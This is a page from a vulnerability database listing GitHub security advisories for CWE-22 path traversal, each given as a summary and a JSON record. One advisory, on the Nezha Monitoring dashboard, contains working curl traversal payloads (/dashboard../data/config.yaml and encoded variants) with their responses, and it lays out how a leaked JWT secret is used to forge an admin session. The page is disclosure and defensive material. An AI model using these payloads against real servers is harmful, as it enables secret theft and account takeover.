CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13190 vulnerabilities reference this CWE, most recent first.
GHSA-59XQ-494M-CHP8
Vulnerability from github – Published: 2022-04-29 00:00 – Updated: 2022-05-11 00:02Zoho ManageEngine Access Manager Plus before 4302, Password Manager Pro before 12007, and PAM360 before 5401 are vulnerable to access-control bypass on a few Rest API URLs (for SSOutAction. SSLAction. LicenseMgr. GetProductDetails. GetDashboard. FetchEvents. and Synchronize) via the ../RestAPI substring.
{
"affected": [],
"aliases": [
"CVE-2022-29081"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-28T20:15:00Z",
"severity": "CRITICAL"
},
"details": "Zoho ManageEngine Access Manager Plus before 4302, Password Manager Pro before 12007, and PAM360 before 5401 are vulnerable to access-control bypass on a few Rest API URLs (for SSOutAction. SSLAction. LicenseMgr. GetProductDetails. GetDashboard. FetchEvents. and Synchronize) via the ../RestAPI substring.",
"id": "GHSA-59xq-494m-chp8",
"modified": "2022-05-11T00:02:08Z",
"published": "2022-04-29T00:00:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29081"
},
{
"type": "WEB",
"url": "https://www.manageengine.com/privileged-session-management/advisory/cve-2022-29081.html"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2022-14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5C23-JV9M-9P86
Vulnerability from github – Published: 2022-05-17 00:39 – Updated: 2022-05-17 00:39Directory traversal vulnerability in passwiki.php in PassWiki 0.9.16 RC3 and earlier allows remote attackers to read arbitrary local files via a .. (dot dot) in the site_id parameter.
{
"affected": [],
"aliases": [
"CVE-2008-6423"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-03-06T18:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in passwiki.php in PassWiki 0.9.16 RC3 and earlier allows remote attackers to read arbitrary local files via a .. (dot dot) in the site_id parameter.",
"id": "GHSA-5c23-jv9m-9p86",
"modified": "2022-05-17T00:39:34Z",
"published": "2022-05-17T00:39:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6423"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42768"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5704"
},
{
"type": "WEB",
"url": "http://osvdb.org/45853"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30496"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29455"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5C25-7VPJ-9MQH
Vulnerability from github – Published: 2026-06-26 23:03 – Updated: 2026-06-26 23:03Summary
fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required.
In default deployments (the values shipped in model/config.go and the layout shipped in the project Dockerfile) data/config.yaml contains the HS256 jwt_secret_key used by cmd/dashboard/controller/jwt.go to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request.
Details
Root cause
// cmd/dashboard/controller/controller.go @ 636f4a9
387: fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)
388: if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
389: stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
390: localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
391: if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
392: return
393: }
// cmd/dashboard/controller/controller.go @ 636f4a9
322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {
323: checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {
324: if _, err := os.Stat(path); err == nil {
325: http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)
326: return true
327: }
fallbackToFrontend is wired as the catch-all at cmd/dashboard/controller/controller.go:157 — r.NoRoute(fallbackToFrontend(frontendDist)) — so every URL not matched by an earlier route reaches it, including pre-auth.
Path math (verified, see appendix)
Input URL.Path |
TrimPrefix(..., "/dashboard") |
path.Join("admin-dist", ...) |
Reachable file |
|---|---|---|---|
/dashboard/login |
/login |
admin-dist/login |
legitimate, intended |
/dashboard/../data/config.yaml |
/../data/config.yaml |
data/config.yaml |
but blocked by Go http.ServeFile's URL ..-segment guard → 400 |
/dashboard../data/config.yaml |
../data/config.yaml |
data/config.yaml |
served, 200 |
/dashboard%2e%2e/data/config.yaml |
../data/config.yaml (decoded) |
data/config.yaml |
served, 200 |
/dashboard..%2fdata/config.yaml |
../data/config.yaml (decoded) |
data/config.yaml |
served, 200 |
The negative control (/dashboard/../data/config.yaml) lands at the same on-disk path after path.Join, but is rejected by http.ServeFile because Go's stdlib enforces a URL-level traversal guard that fires when the request URL itself contains a standalone .. segment. The bypass works because in /dashboard../... the first URL segment is the single token dashboard.. — no standalone .. — so the stdlib guard does not trigger. The traversal segment is created after TrimPrefix, downstream of every defense.
Why the existing defenses miss
- The prefix check is a substring test on the raw URL string, not a segment test.
dashboardanddashboard..are both accepted. path.JoinsilentlyCleans the result — so the..is consumed correctly to escapeadmin-dist, with no error returned to indicate escape.- Go's
http.ServeFilestdlib guard fires only on URLs with a standalone..segment (pernet/http.containsDotDot). The payload puts the dots inside the first segment instead. - No anchored "is this still under the template root?" check exists after
path.Join.
PoC
Setup
TARGET: github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef
HARNESS: stdlib-only port — see Appendix A
WORKDIR: tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db
TIME-TO-REPRO: first request
The harness plants this data/config.yaml:
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
brand: nezha-repro
Observed responses
Primary payload — pre-auth secret disclosure:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 167
Content-Type: application/yaml
Last-Modified: Sun, 24 May 2026 12:16:23 GMT
Date: Sun, 24 May 2026 12:16:25 GMT
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
brand: nezha-repro
Negative control — Go stdlib guard rejects the canonical form:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml'
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
invalid URL path
Encoded-dot variant — bypass also works:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]
Encoded-slash variant — bypass also works:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]
Double-encoded — confirms the bypass requires single-level encoding:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 30
Content-Type: text/html; charset=utf-8
<html>admin frontend OK</html>
The literal %252e%252e does not decode to .., so the path becomes admin-dist/%2e%2e/data/config.yaml (no escape), os.Stat fails, and the handler falls through to serving admin-dist/index.html — no secret disclosure.
Encoded leading slash — also blocked at the stdlib layer:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml'
HTTP/1.1 400 Bad Request
invalid URL path
SQLite database exfil — same primitive:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db'
HTTP/1.1 200 OK
Content-Length: 42
SQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY
Sanity checks
- Normal
/dashboard/request still servesadmin-dist/index.htmlwith HTTP 200 — the bypass does not regress legitimate behavior. - Requests to
/api/...still hit the JSON-404 branch — the bypass is isolated to the/dashboardfallback.
Impact
Direct primitive
Unauth read of any file in the dashboard's working directory subtree reachable by escaping admin-dist one level. In default deployments that includes:
| File | Default path | Why it matters |
|---|---|---|
data/config.yaml |
from -c flag default (cmd/dashboard/main.go:104) |
Contains jwt_secret_key (signing key, HS256), agent_secret_key, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets |
data/sqlite.db |
from -db flag default (cmd/dashboard/main.go:105) |
Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs |
Chain to administrative account takeover (verified path)
- Read config —
GET /dashboard../data/config.yamlreturns plaintext YAML containingjwt_secret_key. - Read database —
GET /dashboard../data/sqlite.dbreturns the SQLite file; an attacker opens it and reads theuserstable to recover admin user IDs (and any other claims the JWT references). - Forge a JWT — the dashboard's JWT middleware at
cmd/dashboard/controller/jwt.go:22,27is wired with:go Key: []byte(singleton.Conf.JWTSecretKey), SigningAlgorithm: "HS256", CookieName: "nz-jwt", IdentityKey: model.CtxKeyAuthorizedUser,HS256 is symmetric — possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whoseuser_idclaim matches the admin user from step 2 and attaches it as thenz-jwtcookie (orAuthorization: Bearer ...). - Operate as admin — every admin handler (
adminHandlerchain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings. The chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing.
Suggested fix
Make the prefix test segment-aware and reject paths whose cleaned form escapes the template root before any filesystem call. Minimal diff:
- if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
- stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
+ if c.Request.URL.Path == "/dashboard/" || strings.HasPrefix(c.Request.URL.Path, "/dashboard/") {
+ stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/")
+ cleanPath := path.Clean("/" + stripPath)
+ if cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || strings.Contains(cleanPath, "/../") {
+ c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found")))
+ return
+ }
localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
The /dashboard -> /dashboard/ redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in frontendPageUrlRegistry.
The same hardening should be applied to the user-template branch (lines 399–405), which uses the same path.Join pattern with singleton.Conf.UserTemplate. While the /dashboard prefix-confusion vector doesn't hit it directly, any future code change that hands a controlled URL.Path to that branch would re-introduce the same primitive.
A defense-in-depth alternative is to replace the local os.Stat + http.ServeFile branch with a http.FileServer(http.FS(subFS)) rooted at the embedded admin-dist subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/nezhahq/nezha"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53519"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T23:03:13Z",
"nvd_published_at": "2026-06-12T22:16:51Z",
"severity": "CRITICAL"
},
"details": "### Summary\n`fallbackToFrontend` in the dashboard\u0027s `NoRoute` handler treats any URL whose **raw string** starts with `/dashboard` as an admin-frontend asset request. The check uses `strings.HasPrefix`, not a path-segment match, so the input `/dashboard../data/config.yaml` is accepted; `strings.TrimPrefix` leaves `../data/config.yaml`; and `path.Join(\"admin-dist\", \"../data/config.yaml\")` normalizes to `data/config.yaml` \u2014 which `os.Stat` finds and `http.ServeFile` returns. No authentication required.\n \nIn default deployments (the values shipped in `model/config.go` and the layout shipped in the project `Dockerfile`) `data/config.yaml` contains the HS256 `jwt_secret_key` used by `cmd/dashboard/controller/jwt.go` to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user \u2014 full dashboard takeover from one GET request.\n\n### Details\n## Root cause\n \n```go\n// cmd/dashboard/controller/controller.go @ 636f4a9\n387: fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)\n388: if strings.HasPrefix(c.Request.URL.Path, \"/dashboard\") {\n389: stripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard\")\n390: localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)\n391: if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {\n392: return\n393: }\n```\n \n```go\n// cmd/dashboard/controller/controller.go @ 636f4a9\n322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {\n323: checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {\n324: if _, err := os.Stat(path); err == nil {\n325: http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)\n326: return true\n327: }\n```\n \n`fallbackToFrontend` is wired as the catch-all at `cmd/dashboard/controller/controller.go:157` \u2014 `r.NoRoute(fallbackToFrontend(frontendDist))` \u2014 so every URL not matched by an earlier route reaches it, including pre-auth.\n \n### Path math (verified, see appendix)\n \n| Input `URL.Path` | `TrimPrefix(..., \"/dashboard\")` | `path.Join(\"admin-dist\", ...)` | Reachable file |\n|---|---|---|---|\n| `/dashboard/login` | `/login` | `admin-dist/login` | legitimate, intended |\n| `/dashboard/../data/config.yaml` | `/../data/config.yaml` | `data/config.yaml` | **but blocked by Go `http.ServeFile`\u0027s URL `..`-segment guard \u2192 400** |\n| `/dashboard../data/config.yaml` | `../data/config.yaml` | `data/config.yaml` | **served, 200** |\n| `/dashboard%2e%2e/data/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** |\n| `/dashboard..%2fdata/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** |\n \nThe negative control (`/dashboard/../data/config.yaml`) lands at the same on-disk path after `path.Join`, but is rejected by `http.ServeFile` because Go\u0027s stdlib enforces a URL-level traversal guard that fires when the **request URL** itself contains a standalone `..` segment. The bypass works because in `/dashboard../...` the first URL segment is the single token `dashboard..` \u2014 no standalone `..` \u2014 so the stdlib guard does not trigger. The traversal segment is **created after `TrimPrefix`**, downstream of every defense.\n \n### Why the existing defenses miss\n \n1. The prefix check is a substring test on the raw URL string, not a segment test. `dashboard` and `dashboard..` are both accepted.\n2. `path.Join` silently `Clean`s the result \u2014 so the `..` is consumed correctly to escape `admin-dist`, with no error returned to indicate escape.\n3. Go\u0027s `http.ServeFile` stdlib guard fires only on URLs with a standalone `..` segment (per `net/http.containsDotDot`). The payload puts the dots inside the first segment instead.\n4. No anchored \"is this still under the template root?\" check exists after `path.Join`.\n\n## PoC\n### Setup\n \n```text\nTARGET: github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef\nHARNESS: stdlib-only port \u2014 see Appendix A\nWORKDIR: tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db\nTIME-TO-REPRO: first request\n```\n \nThe harness plants this `data/config.yaml`:\n \n```yaml\ndebug: false\nlisten_port: 8008\nlanguage: en_US\njwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE\nagent_secret_key: REPRO_AGENT_SECRET_VALUE\nsite:\n brand: nezha-repro\n```\n \n### Observed responses\n \n**Primary payload \u2014 pre-auth secret disclosure:**\n \n```bash\ncurl -s -i --path-as-is \u0027http://127.0.0.1:8008/dashboard../data/config.yaml\u0027\n```\n \n```text\nHTTP/1.1 200 OK\nAccept-Ranges: bytes\nContent-Length: 167\nContent-Type: application/yaml\nLast-Modified: Sun, 24 May 2026 12:16:23 GMT\nDate: Sun, 24 May 2026 12:16:25 GMT\n \ndebug: false\nlisten_port: 8008\nlanguage: en_US\njwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE\nagent_secret_key: REPRO_AGENT_SECRET_VALUE\nsite:\n brand: nezha-repro\n```\n \n**Negative control \u2014 Go stdlib guard rejects the canonical form:**\n \n```bash\ncurl -s -i --path-as-is \u0027http://127.0.0.1:8008/dashboard/../data/config.yaml\u0027\n```\n \n```text\nHTTP/1.1 400 Bad Request\nContent-Type: text/plain; charset=utf-8\n \ninvalid URL path\n```\n \n**Encoded-dot variant \u2014 bypass also works:**\n \n```bash\ncurl -s -i --path-as-is \u0027http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml\u0027\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 167\nContent-Type: application/yaml\n[... full config.yaml including jwt_secret_key ...]\n```\n \n**Encoded-slash variant \u2014 bypass also works:**\n \n```bash\ncurl -s -i --path-as-is \u0027http://127.0.0.1:8008/dashboard..%2fdata/config.yaml\u0027\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 167\nContent-Type: application/yaml\n[... full config.yaml including jwt_secret_key ...]\n```\n \n**Double-encoded \u2014 confirms the bypass requires single-level encoding:**\n \n```bash\ncurl -s -i --path-as-is \u0027http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml\u0027\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 30\nContent-Type: text/html; charset=utf-8\n \n\u003chtml\u003eadmin frontend OK\u003c/html\u003e\n```\n \nThe literal `%252e%252e` does not decode to `..`, so the path becomes `admin-dist/%2e%2e/data/config.yaml` (no escape), `os.Stat` fails, and the handler falls through to serving `admin-dist/index.html` \u2014 no secret disclosure.\n \n**Encoded leading slash \u2014 also blocked at the stdlib layer:**\n \n```bash\ncurl -s -i --path-as-is \u0027http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml\u0027\n```\n \n```text\nHTTP/1.1 400 Bad Request\n \ninvalid URL path\n```\n \n**SQLite database exfil \u2014 same primitive:**\n \n```bash\ncurl -s -i --path-as-is \u0027http://127.0.0.1:8008/dashboard../data/sqlite.db\u0027\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 42\n \nSQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY\n```\n \n### Sanity checks\n \n- Normal `/dashboard/` request still serves `admin-dist/index.html` with HTTP 200 \u2014 the bypass does not regress legitimate behavior.\n- Requests to `/api/...` still hit the JSON-404 branch \u2014 the bypass is isolated to the `/dashboard` fallback.\n\n\n## Impact\n### Direct primitive\nUnauth read of any file in the dashboard\u0027s working directory subtree reachable by escaping `admin-dist` one level. In default deployments that includes:\n \n| File | Default path | Why it matters |\n|---|---|---|\n| `data/config.yaml` | from `-c` flag default (`cmd/dashboard/main.go:104`) | Contains `jwt_secret_key` (signing key, **HS256**), `agent_secret_key`, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets |\n| `data/sqlite.db` | from `-db` flag default (`cmd/dashboard/main.go:105`) | Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs |\n \n### Chain to administrative account takeover (verified path)\n \n1. **Read config** \u2014 `GET /dashboard../data/config.yaml` returns plaintext YAML containing `jwt_secret_key`.\n2. **Read database** \u2014 `GET /dashboard../data/sqlite.db` returns the SQLite file; an attacker opens it and reads the `users` table to recover admin user IDs (and any other claims the JWT references).\n3. **Forge a JWT** \u2014 the dashboard\u0027s JWT middleware at `cmd/dashboard/controller/jwt.go:22,27` is wired with:\n ```go\n Key: []byte(singleton.Conf.JWTSecretKey),\n SigningAlgorithm: \"HS256\",\n CookieName: \"nz-jwt\",\n IdentityKey: model.CtxKeyAuthorizedUser,\n ```\n HS256 is symmetric \u2014 possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whose `user_id` claim matches the admin user from step 2 and attaches it as the `nz-jwt` cookie (or `Authorization: Bearer ...`).\n4. **Operate as admin** \u2014 every admin handler (`adminHandler` chain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings.\nThe chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing.\n## Suggested fix\n \nMake the prefix test segment-aware and reject paths whose cleaned form escapes the template root **before** any filesystem call. Minimal diff:\n \n```diff\n- if strings.HasPrefix(c.Request.URL.Path, \"/dashboard\") {\n- stripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard\")\n+ if c.Request.URL.Path == \"/dashboard/\" || strings.HasPrefix(c.Request.URL.Path, \"/dashboard/\") {\n+ stripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard/\")\n+ cleanPath := path.Clean(\"/\" + stripPath)\n+ if cleanPath == \"..\" || strings.HasPrefix(cleanPath, \"../\") || strings.Contains(cleanPath, \"/../\") {\n+ c.JSON(http.StatusNotFound, newErrorResponse(errors.New(\"404 Not Found\")))\n+ return\n+ }\n localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)\n```\n \nThe `/dashboard` -\u003e `/dashboard/` redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in `frontendPageUrlRegistry`.\n \nThe same hardening should be applied to the user-template branch (lines 399\u2013405), which uses the same `path.Join` pattern with `singleton.Conf.UserTemplate`. While the `/dashboard` prefix-confusion vector doesn\u0027t hit it directly, any future code change that hands a controlled `URL.Path` to that branch would re-introduce the same primitive.\n \nA defense-in-depth alternative is to replace the local `os.Stat + http.ServeFile` branch with a `http.FileServer(http.FS(subFS))` rooted at the embedded `admin-dist` subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely.",
"id": "GHSA-5c25-7vpj-9mqh",
"modified": "2026-06-26T23:03:13Z",
"published": "2026-06-26T23:03:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53519"
},
{
"type": "PACKAGE",
"url": "https://github.com/nezhahq/nezha"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key"
}
GHSA-5C2J-6V4P-437R
Vulnerability from github – Published: 2022-05-17 04:51 – Updated: 2022-05-17 04:51Directory traversal vulnerability in Tattyan HP TOWN before 5_10_1 allows remote attackers to read arbitrary files via a .. (dot dot) in a request.
{
"affected": [],
"aliases": [
"CVE-2013-6000"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-12-05T12:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in Tattyan HP TOWN before 5_10_1 allows remote attackers to read arbitrary files via a .. (dot dot) in a request.",
"id": "GHSA-5c2j-6v4p-437r",
"modified": "2022-05-17T04:51:42Z",
"published": "2022-05-17T04:51:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-6000"
},
{
"type": "WEB",
"url": "http://jvn.jp/en/jp/JVN41703192/index.html"
},
{
"type": "WEB",
"url": "http://jvndb.jvn.jp/jvndb/JVNDB-2013-000112"
},
{
"type": "WEB",
"url": "http://www2s.biglobe.ne.jp/~tatsuji/souko/Guidance1.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5C2Q-W2G2-QRXP
Vulnerability from github – Published: 2022-05-14 01:15 – Updated: 2022-05-14 01:15PHP Scripts Mall Charity Foundation Script 1 through 3 allows directory traversal via a direct request for a listing of an uploads directory such as the wp-content/uploads/2018/12 directory.
{
"affected": [],
"aliases": [
"CVE-2018-20628"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-21T16:00:00Z",
"severity": "HIGH"
},
"details": "PHP Scripts Mall Charity Foundation Script 1 through 3 allows directory traversal via a direct request for a listing of an uploads directory such as the wp-content/uploads/2018/12 directory.",
"id": "GHSA-5c2q-w2g2-qrxp",
"modified": "2022-05-14T01:15:59Z",
"published": "2022-05-14T01:15:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20628"
},
{
"type": "WEB",
"url": "https://gkaim.com/cve-2018-20628-vikas-chaudhary"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5C2V-Q6JP-4MW6
Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-04-04 01:09Linear eMerge E3-Series devices allow Directory Traversal.
{
"affected": [],
"aliases": [
"CVE-2019-7253"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-02T19:15:00Z",
"severity": "CRITICAL"
},
"details": "Linear eMerge E3-Series devices allow Directory Traversal.",
"id": "GHSA-5c2v-q6jp-4mw6",
"modified": "2024-04-04T01:09:08Z",
"published": "2022-05-24T16:49:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7253"
},
{
"type": "WEB",
"url": "https://applied-risk.com/labs/advisories"
},
{
"type": "WEB",
"url": "https://www.applied-risk.com/resources/ar-2019-005"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5C4F-CR5C-FM9X
Vulnerability from github – Published: 2022-08-05 00:00 – Updated: 2022-08-11 00:00With this vulnerability an attacker can read many sensitive files like configuration files, or the /proc/self/environ file, that contains the environment variable used by the web server that includes database credentials. If the web server user is root, an attacker will be able to read any file in the system.
{
"affected": [],
"aliases": [
"CVE-2022-2653"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-04T10:15:00Z",
"severity": "MODERATE"
},
"details": "With this vulnerability an attacker can read many sensitive files like configuration files, or the /proc/self/environ file, that contains the environment variable used by the web server that includes database credentials. If the web server user is root, an attacker will be able to read any file in the system.",
"id": "GHSA-5c4f-cr5c-fm9x",
"modified": "2022-08-11T00:00:38Z",
"published": "2022-08-05T00:00:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2653"
},
{
"type": "WEB",
"url": "https://github.com/plankanban/planka/commit/ac1df5201dfdaf68d37f7e1b272bc137870d7418"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/5dff7cf9-8bb2-4f67-a02d-b94db5009d70"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5C4Q-4RQX-7FCJ
Vulnerability from github – Published: 2023-12-26 21:30 – Updated: 2024-01-02 21:30The Hotel Booking Lite WordPress plugin before 4.8.5 does not validate file paths provided via user input, as well as does not have proper CSRF and authorisation checks, allowing unauthenticated users to download and delete arbitrary files on the server
{
"affected": [],
"aliases": [
"CVE-2023-5991"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-26T19:15:08Z",
"severity": "CRITICAL"
},
"details": "The Hotel Booking Lite WordPress plugin before 4.8.5 does not validate file paths provided via user input, as well as does not have proper CSRF and authorisation checks, allowing unauthenticated users to download and delete arbitrary files on the server",
"id": "GHSA-5c4q-4rqx-7fcj",
"modified": "2024-01-02T21:30:25Z",
"published": "2023-12-26T21:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5991"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/e9d35e36-1e60-4483-b8b3-5cbf08fcd49e"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5C4Q-86GX-HFF8
Vulnerability from github – Published: 2023-06-30 03:30 – Updated: 2024-04-04 05:18Directory traversal vulnerability in Pleasanter (Community Edition and Enterprise Edition) 1.3.39.2 and earlier versions allows a remote authenticated attacker to alter an arbitrary file on the server.
{
"affected": [],
"aliases": [
"CVE-2023-32608"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-30T03:15:09Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in Pleasanter (Community Edition and Enterprise Edition) 1.3.39.2 and earlier versions allows a remote authenticated attacker to alter an arbitrary file on the server.",
"id": "GHSA-5c4q-86gx-hff8",
